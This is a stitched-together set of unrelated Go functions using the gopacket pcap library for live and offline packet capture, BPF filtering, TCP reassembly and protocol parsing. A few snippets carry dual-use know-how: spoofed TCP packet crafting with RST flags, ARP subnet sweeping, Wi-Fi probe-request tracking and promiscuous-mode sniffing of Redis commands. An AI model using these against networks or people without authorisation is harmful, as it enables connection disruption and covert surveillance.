func writePacket(handle *pcap.Handle, buf []byte) error { if err := handle.WritePacketData(buf); err != nil { log.Printf("Failed to send packet: %s\n", err) return err } return nil }
func getOpstream(cfg OpStreamSettings) (*packetHandlerContext, error) { if cfg.PacketBufSize < 1 { return nil, fmt.Errorf("invalid packet buffer size") } var pcapHandle *pcap.Handle var err error if len(cfg.PcapFile) > 0 { pcapHandle, err = pcap.OpenOffline(cfg.PcapFile) if err != nil { return nil, fmt.Errorf("error opening pcap file: %v", err) } } else if len(cfg.NetworkInterface) > 0 { pcapHandle, err = pcap.OpenLive(cfg.NetworkInterface, 32*1024*1024, false, pcap.BlockForever) if err != nil { return nil, fmt.Errorf("error listening to network interface: %v", err) } } else { return nil, fmt.Errorf("must specify either a pcap file or network interface to record from") } if len(cfg.Expression) > 0 { err = pcapHandle.SetBPFFilter(cfg.Expression) if err != nil { return nil, fmt.Errorf("error setting packet filter expression: %v", err) } } h := NewPacketHandler(pcapHandle) h.Verbose = userInfoLogger.isInVerbosity(DebugLow) toolDebugLogger.Logvf(Info, "Created packet buffer size %d", cfg.PacketBufSize) m := NewMongoOpStream(cfg.PacketBufSize) return &packetHandlerContext{h, m, pcapHandle}, nil }
func main() { flag.Parse() var handle *pcap.Handle var err error if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Printf("Starting capture on interface %q", *iface) handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } if err != nil { log.Fatal(err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal(err) } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { if packet == nil { return } if udpLayer := packet.Layer(layers.LayerTypeUDP); udpLayer != nil { udp, _ := udpLayer.(*layers.UDP) fwdSIPPacket(udp.BaseLayer.Payload) } } }
func (p *Pcap) sniff(readHandle *pcap.Handle, consumer BridgeConsumer) { dec := NewEthernetDecoder() for { pkt, _, err := readHandle.ZeroCopyReadPacketData() if err == pcap.NextErrorTimeoutExpired { continue } checkFatal(err) dec.DecodeLayers(pkt) if len(dec.decoded) == 0 { continue } if fop := consumer(dec.PacketKey()); !fop.Discards() { // We are handing over the frame to // forwarders, so we need to make a copy of it // in order to prevent the next capture from // overwriting the data pktLen := len(pkt) pktCopy := make([]byte, pktLen, pktLen) copy(pktCopy, pkt) fop.Process(pktCopy, dec, false) } } }
// writeARP writes an ARP request for each address on our local network to the // pcap handle. func writeARP(handle *pcap.Handle, iface *net.Interface, addr *net.IPNet) error { // Set up all the layers' fields we can. eth := layers.Ethernet{ SrcMAC: iface.HardwareAddr, DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, EthernetType: layers.EthernetTypeARP, } arp := layers.ARP{ AddrType: layers.LinkTypeEthernet, Protocol: layers.EthernetTypeIPv4, HwAddressSize: 6, ProtAddressSize: 4, Operation: layers.ARPRequest, SourceHwAddress: []byte(iface.HardwareAddr), SourceProtAddress: []byte(addr.IP), DstHwAddress: []byte{0, 0, 0, 0, 0, 0}, } // Set up buffer and options for serialization. buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } // Send one packet for every address. for _, ip := range ips(addr) { arp.DstProtAddress = []byte(ip) gopacket.SerializeLayers(buf, opts, ð, &arp) if err := handle.WritePacketData(buf.Bytes()); err != nil { return err } } return nil }
//init re-initializes a snifer for uses func (s *Snifer) init() error { var handle *pcap.Handle var err error if s.conf.Offline { handle, err = pcap.OpenOffline(s.source) checkError(err, fmt.Sprintf("Create offline handle %s", s.source)) } else { handle, err = pcap.OpenLive(s.source, s.conf.MaxPacket, s.conf.Promod, s.conf.Timeout) checkError(err, fmt.Sprintf("Create Live handle %s", s.source)) if err == nil { err = handle.SetBPFFilter(s.conf.Filter) checkError(err, fmt.Sprintf("Setting BPFFilter %s: %s", s.source, s.conf.Filter)) } } if err != nil { checkError(err, fmt.Sprintf("Creating Snifer for %s", s.source)) return err } s.handle = handle log.Printf("Snifer: Handler created and ready!") return nil }
func main() { defer util.Run()() var handle *pcap.Handle var err error // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Fatalln("Error: pcap file name is required!") // log.Printf("Starting capture on interface %q", *iface) // handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } if err != nil { log.Fatal(err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal(err) } // Set up assembly streamFactory := &httpStreamFactory{} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) log.Println("reading in packets") // Read in packets, pass to assembler. packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() ticker := time.Tick(time.Minute) for { select { case packet := <-packets: // A nil packet indicates the end of a pcap file. if packet == nil { return } if *logAllPackets { log.Println("\npacket:") // log.Println(packet) } if packet.NetworkLayer() == nil || packet.TransportLayer() == nil || packet.TransportLayer().LayerType() != layers.LayerTypeTCP { log.Println("Unusable packet") continue } tcp := packet.TransportLayer().(*layers.TCP) log.Printf("\n.......................................................\n") log.Printf("packet:\n") log.Printf("packet.Metadata().Timestamp=%T=%v=%v:\n%#v\n", packet.Metadata().Timestamp, packet.Metadata().Timestamp, packet.Metadata().Timestamp.UTC(), packet.Metadata().Timestamp) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past 2 minutes. assembler.FlushOlderThan(time.Now().Add(time.Minute * -2)) } } }
// Sniff captures probe requests using the given handle and writes them to a channel. func Sniff(handle *pcap.Handle) <-chan wifitracker.Request { out := make(chan wifitracker.Request, 0) go func() { defer close(out) packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { handlePacket(packet, out) } }() return out }
func main() { defer util.Run()() var handle *pcap.Handle var err error signal.Notify(sigs, syscall.SIGHUP) go startWebServer() go sighandler() flag.Parse() go printDebugInfo() if fname != "" { if handle, err = pcap.OpenOffline(fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(true); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if tstype != "" { if t, err := pcap.TimestampSourceFromString(tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } for { process(handle) } }
func ExtractPGPackets(handle *pcap.Handle) (*metrics.QueryMetrics, []*ResponsePacket) { combinedQueryMetrics := metrics.NewQueryMetrics() responses := []*ResponsePacket{} // Sorts packets into queries or responses packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) var raw string for { packet, err := packetSource.NextPacket() if err == io.EOF { break } else if err != nil { fmt.Println("Error: ", err) continue } ipLayer := packet.Layer(layers.LayerTypeIPv4) if ipLayer == nil { continue } ip, _ := ipLayer.(*layers.IPv4) tcpLayer := packet.Layer(layers.LayerTypeTCP) if tcpLayer == nil { continue } tcp, _ := tcpLayer.(*layers.TCP) // If the destination port is 5432... if tcp.DstPort == 5432 { // And the packet payload starts with P... raw = fmt.Sprintf("%s", tcp.Payload) if strings.HasPrefix(raw, "P") { // It is a (Parse) packet that contains a Query combinedQueryMetrics.Add( metrics.New( NormalizeQuery(raw), 1, ip.SrcIP, tcp.Seq, ), ) } } else if tcp.SrcPort == 5432 && tcp.ACK { responses = append(responses, &ResponsePacket{ DstIP: ip.DstIP, Ack: tcp.Ack, Size: uint64(len(tcp.Payload)), }) } } return combinedQueryMetrics, responses }
// set packet capture filter, by ip and port func setDeviceFilter(handle *pcap.Handle, filterIP string, filterPort uint16) { var bpfFilter = "tcp" if filterPort != 0 { bpfFilter += " port " + strconv.Itoa(int(filterPort)) } if filterIP != "" { bpfFilter += " ip host " + filterIP } var err = handle.SetBPFFilter(bpfFilter) if err != nil { fmt.Fprintln(os.Stderr, "Set capture filter failed, ", err) } }
func main() { flag.Parse() for _, arg := range flag.Args() { log.Println("reading", arg) var r *pcap.Handle var err error if r, err = pcap.OpenOffline(arg); err != nil { log.Printf("error reading %s: %v\n", arg, err) continue } s := session.New() d := netflow.NewDecoder(s) packetSource := gopacket.NewPacketSource(r, r.LinkType()) for packet := range packetSource.Packets() { log.Println("packet:", packet) m, err := d.Read(bytes.NewBuffer(packet.TransportLayer().LayerPayload())) if err != nil { log.Println("decoder error:", err) continue } switch p := m.(type) { case *netflow1.Packet: netflow1.Dump(p) case *netflow5.Packet: netflow5.Dump(p) case *netflow6.Packet: netflow6.Dump(p) case *netflow7.Packet: netflow7.Dump(p) case *netflow9.Packet: netflow9.Dump(p) case *ipfix.Message: ipfix.Dump(p) } } } }
func main() { flag.Parse() filter := strings.Join(flag.Args(), " ") if device == NO_DEVICE && offlineFile == NO_OFFLINE_FILE { flag.Usage() os.Exit(1) } var ( handle *pcap.Handle err error ) if hasFile(offlineFile) { fmt.Printf("Reading packet from %s:\n", offlineFile) handle, err = pcap.OpenOffline(offlineFile) } else { fmt.Printf("Reading packet from %s:\n", device) handle, err = pcap.OpenLive( device, PACKET_SAMPLE_SIZE, true, pcap.BlockForever, ) } if err != nil { panic(err) } fmt.Printf("Applying filter: %s\n", filter) if err = handle.SetBPFFilter(filter); err != nil { panic(err) } for { packet, ci, err := handle.ReadPacketData() if err == io.EOF { break } if err != nil { panic(err) } go handlePacket(packet, ci) } }
func main() { defer util.Run()() var handle *pcap.Handle var err error if *fname != "" { if handle, err = pcap.OpenOffline(*fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(*iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(*snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(*promisc); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if *tstype != "" { if t, err := pcap.TimestampSourceFromString(*tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } // https://github.com/google/gopacket/blob/master/dumpcommand/tcpdump.go dumpcommand.Run(handle) }
func sendPacket(handle *pcap.Handle, sMac, dMac net.HardwareAddr, sIp, dIp net.IP, sPort, dPort layers.TCPPort, IpId uint16, IpTtl uint8, TcpSeq, ack uint32, WindowsSize uint16, data []byte) error { eth := layers.Ethernet{ SrcMAC: sMac, DstMAC: dMac, EthernetType: layers.EthernetTypeIPv4, } ip4 := layers.IPv4{ SrcIP: sIp, DstIP: dIp, Id: IpId, Flags: layers.IPv4DontFragment, Version: 4, TTL: IpTtl, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: sPort, DstPort: dPort, Seq: TcpSeq, ACK: true, Ack: ack, Window: WindowsSize, PSH: true, // 立刻处理 } if len(data) == 0 { tcp.RST = true } tcp.SetNetworkLayerForChecksum(&ip4) buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } payload := gopacket.Payload(data) if err := gopacket.SerializeLayers(buf, opts, ð, &ip4, &tcp, payload); err != nil { return err } return handle.WritePacketData(buf.Bytes()) }
//setup a device or pcap file for capture, returns a handle func initHandle(config *pdnsConfig) *pcap.Handle { var handle *pcap.Handle var err error if config.device != "" && !config.pfring { handle, err = pcap.OpenLive(config.device, 65536, true, pcap.BlockForever) if err != nil { log.Debug(err) return nil } /* } else if dev != "" && pfring { handle, err = pfring.NewRing(dev, 65536, true, pfring.FlagPromisc) if err != nil { log.Debug(err) return nil } */ } else if config.pcapFile != "" { handle, err = pcap.OpenOffline(config.pcapFile) if err != nil { log.Debug(err) return nil } } else { log.Debug("You must specify either a capture device or a pcap file") return nil } err = handle.SetBPFFilter(config.bpf) if err != nil { log.Debug(err) return nil } /* if dev != "" && pfring { handle.Enable() } */ return handle }
func setupPcap(device *string, port *string, rediscommand_ch chan<- redis_protocol.RedisCommand) { var h *pcap.Handle var err error ifs, err_str := pcap.FindAllDevs() if len(ifs) == 0 { fmt.Printf("Warning: no devices found : %s\n", err_str) } h, err = pcap.OpenLive(*device, int32(65535), true, 1000) if h == nil { fmt.Printf("Openlive(%s) failed: %s\n", *device, err) return } defer h.Close() err = h.SetBPFFilter("dst port " + *port) if err != nil { fmt.Println("set filter failed") return } packetSource := gopacket.NewPacketSource(h, h.LinkType()) for pkt := range packetSource.Packets() { applicationLayer := pkt.ApplicationLayer() if applicationLayer == nil { continue } s := string(applicationLayer.Payload()) if s == "" { continue } rediscommand, err := redis_protocol.Parse(s) if err != nil { fmt.Println(err) continue } ipLayer := pkt.Layer(layers.LayerTypeIPv4) if ipLayer != nil { ip, _ := ipLayer.(*layers.IPv4) rediscommand.Ipaddr = []byte(ip.SrcIP.String()) } else { ipLayer := pkt.Layer(layers.LayerTypeIPv6) if ipLayer != nil { ip, _ := ipLayer.(*layers.IPv6) rediscommand.Ipaddr = []byte(ip.SrcIP.String()) } } rediscommand_ch <- *rediscommand } }
func doReadPacket(handle *pcap.Handle) { var err error handle.SetBPFFilter(filter) if err != nil { log.Fatal(err) } for { data, ci, err := handle.ReadPacketData() switch { case err == io.EOF: return case err != nil: log.Println(err) default: packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) incomePacket := incomePacket{packet: packet, ci: &ci} switchPacket(incomePacket) } } }
//startCapture captures all packets on any interface for an unlimited duration. //Packets can be filtered by a BPF filter string. (E.g. tcp port 22) func capture(snaplen int32, quit chan bool, captureReady chan bool, pcapFile string) error { var handle *pcap.Handle var err error if pcapFile != "" { log.Println("Reading packet loss data from pcap-file:", pcapFile) handle, err = pcap.OpenOffline(pcapFile) } else { //https://godoc.org/code.google.com/p/gopacket/pcap //This might have been the culprit //Alternative to try: 250*time.Millisecond handle, err = pcap.OpenLive("any", snaplen, true, 250*time.Millisecond) } if err != nil { log.Println("Error while start capturing packets", err) return err } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) captureReady <- true for { select { case packet := <-packetSource.Packets(): if packet != nil { if packet.Layer(layers.LayerTypeIPSecESP) != nil { putChannel(packet, ipSecChannel) } if packet.Layer(layers.LayerTypeICMPv4) != nil { putChannel(packet, icmpChannel) } } case <-quit: log.Println("Received quit message, stopping Listener.") return nil } } }
func listenOneSource(handle *pcap.Handle) chan gopacket.Packet { packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() return packets }
func main() { defer util.Run()() var handle *pcap.Handle var err error // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Fatalln("Error: pcap file name is required!") // log.Printf("Starting capture on interface %q", *iface) // handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } // log.Printf("starting capture on interface %q", *iface) // // Set up pcap packet capture // handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { panic(err) } if err := handle.SetBPFFilter(*filter); err != nil { panic(err) } // Set up assembly streamFactory := &myFactory{bidiMap: make(map[key]*bidi)} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) log.Println("reading in packets") // Read in packets, pass to assembler. packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() ticker := time.Tick(timeout / 4) ReadingPackets: for { select { case packet := <-packets: if *logAllPackets { log.Println(packet) } if packet == nil { log.Println("Unusable packet: if packet == nil") break ReadingPackets } if packet.NetworkLayer() == nil { log.Println("Unusable packet: if packet.NetworkLayer() == nil") break ReadingPackets } if packet.TransportLayer() == nil { log.Println("Unusable packet: if packet.TransportLayer() == nil") break ReadingPackets } if packet.TransportLayer().LayerType() != layers.LayerTypeTCP { log.Println("Unusable packet: if packet.TransportLayer().LayerType() != layers.LayerTypeTCP") break ReadingPackets } tcp := packet.TransportLayer().(*layers.TCP) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past minute. log.Println("---- FLUSHING ----") assembler.FlushOlderThan(time.Now().Add(-timeout)) streamFactory.collectOldStreams() } } }
func main() { var handle *pcap.Handle var err error flag.Parse() if *fname != "" { log.Printf("Reading from pcap file %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Printf("Starting capture on interface %q", *iface) handle, err = pcap.OpenLive(*iface, int32(*snaplen), false, pcap.BlockForever) } if err != nil { log.Fatal(err) } if *filter == "" { // from kcs_const.js *filter = "tcp port 80 and host" *filter += " (125.6.184.15 or 125.6.184.16 or 125.6.187.205 or" *filter += " 125.6.187.229 or 125.6.187.253 or 125.6.188.25 or" *filter += " 125.6.189.7 or 125.6.189.39 or 125.6.189.71 or" *filter += " 125.6.189.103 or 125.6.189.135 or 125.6.189.167 or" *filter += " 125.6.189.215 or 125.6.189.247 or 203.104.209.7 or" *filter += " 203.104.209.23 or 203.104.209.39 or 203.104.209.55 or" *filter += " 203.104.209.71 or 203.104.209.102 or 203.104.248.135)" } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal(err) } // Set up assembly streamFactory := &httpStreamFactory{} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) // Set up paser goroutine cpus := runtime.NumCPU() runtime.GOMAXPROCS(cpus) wait := new(sync.WaitGroup) go parse(wait) // Read in packets, pass to assembler. packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() ticker := time.Tick(time.Minute) for { select { case packet := <-packets: // A nil packet indicates the end of a pcap file. if packet == nil { return } if packet.NetworkLayer() == nil || packet.TransportLayer() == nil { continue } if packet.TransportLayer().LayerType() != layers.LayerTypeTCP { continue } tcp := packet.TransportLayer().(*layers.TCP) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past 2 minutes. assembler.FlushOlderThan(time.Now().Add(time.Minute * -2)) } } parserCh <- Res{port: 0} wait.Wait() }
func getOpstream(cfg OpStreamSettings) (*packetHandlerContext, error) { if cfg.PacketBufSize < 1 { return nil, fmt.Errorf("invalid packet buffer size") } var pcapHandle *pcap.Handle var err error if len(cfg.PcapFile) > 0 { pcapHandle, err = pcap.OpenOffline(cfg.PcapFile) if err != nil { return nil, fmt.Errorf("error opening pcap file: %v", err) } } else if len(cfg.NetworkInterface) > 0 { inactive, err := pcap.NewInactiveHandle(cfg.NetworkInterface) if err != nil { return nil, fmt.Errorf("error creating a pcap handle: %v", err) } // This is safe; calling `Activate()` steals the underlying ptr. defer inactive.CleanUp() err = inactive.SetSnapLen(64 * 1024) if err != nil { return nil, fmt.Errorf("error setting snaplen on pcap handle: %v", err) } err = inactive.SetPromisc(false) if err != nil { return nil, fmt.Errorf("error setting promisc on pcap handle: %v", err) } err = inactive.SetTimeout(pcap.BlockForever) if err != nil { return nil, fmt.Errorf("error setting timeout on pcap handle: %v", err) } // CaptureBufSize is in KiB to match units on `tcpdump -B`. err = inactive.SetBufferSize(cfg.CaptureBufSize * 1024) if err != nil { return nil, fmt.Errorf("error setting buffer size on pcap handle: %v", err) } pcapHandle, err = inactive.Activate() if err != nil { return nil, fmt.Errorf("error listening to network interface: %v", err) } } else { return nil, fmt.Errorf("must specify either a pcap file or network interface to record from") } if len(cfg.Expression) > 0 { err = pcapHandle.SetBPFFilter(cfg.Expression) if err != nil { return nil, fmt.Errorf("error setting packet filter expression: %v", err) } } h := NewPacketHandler(pcapHandle) h.Verbose = userInfoLogger.isInVerbosity(DebugLow) toolDebugLogger.Logvf(Info, "Created packet buffer size %d", cfg.PacketBufSize) m := NewMongoOpStream(cfg.PacketBufSize) return &packetHandlerContext{h, m, pcapHandle}, nil }
//kick off packet procesing threads and start the packet capture loop func doCapture(handle *pcap.Handle, logChan chan dnsLogEntry, config *pdnsConfig, reChan chan tcpDataStruct, stats *statsd.StatsdBuffer) { gcAgeDur, err := time.ParseDuration(config.gcAge) if err != nil { log.Fatal("Your gc_age parameter was not parseable. Use a string like '-1m'") } gcIntervalDur, err := time.ParseDuration(config.gcInterval) if err != nil { log.Fatal("Your gc_age parameter was not parseable. Use a string like '3m'") } //setup the global channel for reassembled TCP streams reassembleChan = reChan /* init channels for the packet handlers and kick off handler threads */ var channels []chan *packetData for i := 0; i < config.numprocs; i++ { channels = append(channels, make(chan *packetData, 100)) } for i := 0; i < config.numprocs; i++ { go handlePacket(channels[i], logChan, gcIntervalDur, gcAgeDur, i, stats) } // Use the handle as a packet source to process all packets packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) //only decode packet in response to function calls, this moves the //packet processing to the processing threads packetSource.DecodeOptions.Lazy = true //We don't mutate bytes of the packets, so no need to make a copy //this does mean we need to pass the packet via the channel, not a pointer to the packet //as the underlying buffer will get re-allocated packetSource.DecodeOptions.NoCopy = true /* parse up to the IP layer so we can consistently balance the packets across our processing threads TODO: in the future maybe pass this on the channel to so we don't reparse but the profiling I've done doesn't point to this as a problem */ var ethLayer layers.Ethernet var ipLayer layers.IPv4 parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ðLayer, &ipLayer, ) foundLayerTypes := []gopacket.LayerType{} CAPTURE: for { select { case reassembledTcp := <-reChan: pd := NewTcpData(reassembledTcp) channels[int(reassembledTcp.IpLayer.FastHash())&(config.numprocs-1)] <- pd if stats != nil { stats.Incr("reassembed_tcp", 1) } case packet := <-packetSource.Packets(): if packet != nil { parser.DecodeLayers(packet.Data(), &foundLayerTypes) if foundLayerType(layers.LayerTypeIPv4, foundLayerTypes) { pd := NewPacketData(packet) channels[int(ipLayer.NetworkFlow().FastHash())&(config.numprocs-1)] <- pd if stats != nil { stats.Incr("packets", 1) } } } else { //if we get here, we're likely reading a pcap and we've finished //or, potentially, the physical device we've been reading from has been //downed. Or something else crazy has gone wrong...so we break //out of the capture loop entirely. log.Debug("packetSource returned nil.") break CAPTURE } } } gracefulShutdown(channels, reChan, logChan) }
func main() { defer util.Run()() var handle *pcap.Handle var err error flushDuration, err := time.ParseDuration(*flushAfter) if err != nil { log.Fatal("invalid flush duration: ", *flushAfter) } // log.Printf("starting capture on interface %q", *iface) // // Set up pcap packet capture // handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, flushDuration/2) // if err != nil { // log.Fatal("error opening pcap handle: ", err) // } // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Fatalln("Error: pcap file name is required!") // log.Printf("Starting capture on interface %q", *iface) // handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } if err != nil { log.Fatal(err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } // Set up assembly streamFactory := &statsStreamFactory{} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) assembler.MaxBufferedPagesPerConnection = *bufferedPerConnection assembler.MaxBufferedPagesTotal = *bufferedTotal log.Println("reading in packets") // We use a DecodingLayerParser here instead of a simpler PacketSource. // This approach should be measurably faster, but is also more rigid. // PacketSource will handle any known type of packet safely and easily, // but DecodingLayerParser will only handle those packet types we // specifically pass in. This trade-off can be quite useful, though, in // high-throughput situations. var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var ip6 layers.IPv6 var ip6extensions layers.IPv6ExtensionSkipper var tcp layers.TCP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &ip6, &ip6extensions, &tcp, &payload) decoded := make([]gopacket.LayerType, 0, 4) nextFlush := time.Now().Add(flushDuration / 2) var byteCount int64 start := time.Now() loop: for ; *packetCount != 0; *packetCount-- { // Check to see if we should flush the streams we have // that haven't seen any new data in a while. Note we set a // timeout on our PCAP handle, so this should happen even if we // never see packet data. if time.Now().After(nextFlush) { stats, _ := handle.Stats() log.Printf("flushing all streams that haven't seen packets in the last 2 minutes, pcap stats: %+v", stats) assembler.FlushOlderThan(time.Now().Add(flushDuration)) nextFlush = time.Now().Add(flushDuration / 2) } // To speed things up, we're also using the ZeroCopy method for // reading packet data. This method is faster than the normal // ReadPacketData, but the returned bytes in 'data' are // invalidated by any subsequent ZeroCopyReadPacketData call. // Note that tcpassembly is entirely compatible with this packet // reading method. This is another trade-off which might be // appropriate for high-throughput sniffing: it avoids a packet // copy, but its cost is much more careful handling of the // resulting byte slice. data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v", err) break loop // continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } if *logAllPackets { log.Printf("decoded the following layers: %v", decoded) } byteCount += int64(len(data)) // Find either the IPv4 or IPv6 address to use as our network // layer. foundNetLayer := false var netFlow gopacket.Flow for _, typ := range decoded { switch typ { case layers.LayerTypeIPv4: netFlow = ip4.NetworkFlow() foundNetLayer = true case layers.LayerTypeIPv6: netFlow = ip6.NetworkFlow() foundNetLayer = true case layers.LayerTypeTCP: if foundNetLayer { assembler.AssembleWithTimestamp(netFlow, &tcp, ci.Timestamp) } else { log.Println("could not find IPv4 or IPv6 layer, inoring") } continue loop } } log.Println("could not find TCP layer") } assembler.FlushAll() log.Printf("processed %d bytes in %v", byteCount, time.Since(start)) }
func tryCapture(iface net.Interface) error { if iface.Name[:2] == "lo" { return fmt.Errorf("skipping loopback") } var h *pcap.Handle var err error switch *mode { case "basic": h, err = pcap.OpenLive(iface.Name, 65536, false, time.Second*3) if err != nil { return fmt.Errorf("openlive: %v", err) } defer h.Close() case "filtered": h, err = pcap.OpenLive(iface.Name, 65536, false, time.Second*3) if err != nil { return fmt.Errorf("openlive: %v", err) } defer h.Close() if err := h.SetBPFFilter("port 80 or port 443"); err != nil { return fmt.Errorf("setbpf: %v", err) } case "timestamp": u, err := pcap.NewInactiveHandle(iface.Name) if err != nil { return err } defer u.CleanUp() if err = u.SetSnapLen(65536); err != nil { return err } else if err = u.SetPromisc(false); err != nil { return err } else if err = u.SetTimeout(time.Second * 3); err != nil { return err } sources := u.SupportedTimestamps() if len(sources) == 0 { return fmt.Errorf("no supported timestamp sources") } else if err := u.SetTimestampSource(sources[0]); err != nil { return fmt.Errorf("settimestampsource(%v): %v", sources[0], err) } else if h, err = u.Activate(); err != nil { return fmt.Errorf("could not activate: %v", err) } defer h.Close() default: panic("Invalid --mode: " + *mode) } go generatePackets() h.ReadPacketData() // Do one dummy read to clear any timeouts. data, ci, err := h.ReadPacketData() if err != nil { return fmt.Errorf("readpacketdata: %v", err) } log.Printf("Read packet, %v bytes, CI: %+v", len(data), ci) return nil }
func main() { defer util.Run()() var handle *pcap.Handle var err error if *fname != "" { if handle, err = pcap.OpenOffline(*fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(*iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(*snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(*promisc); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if *tstype != "" { if t, err := pcap.TimestampSourceFromString(*tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } inactive.SetImmediateMode(true) if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { if tcpLayer := 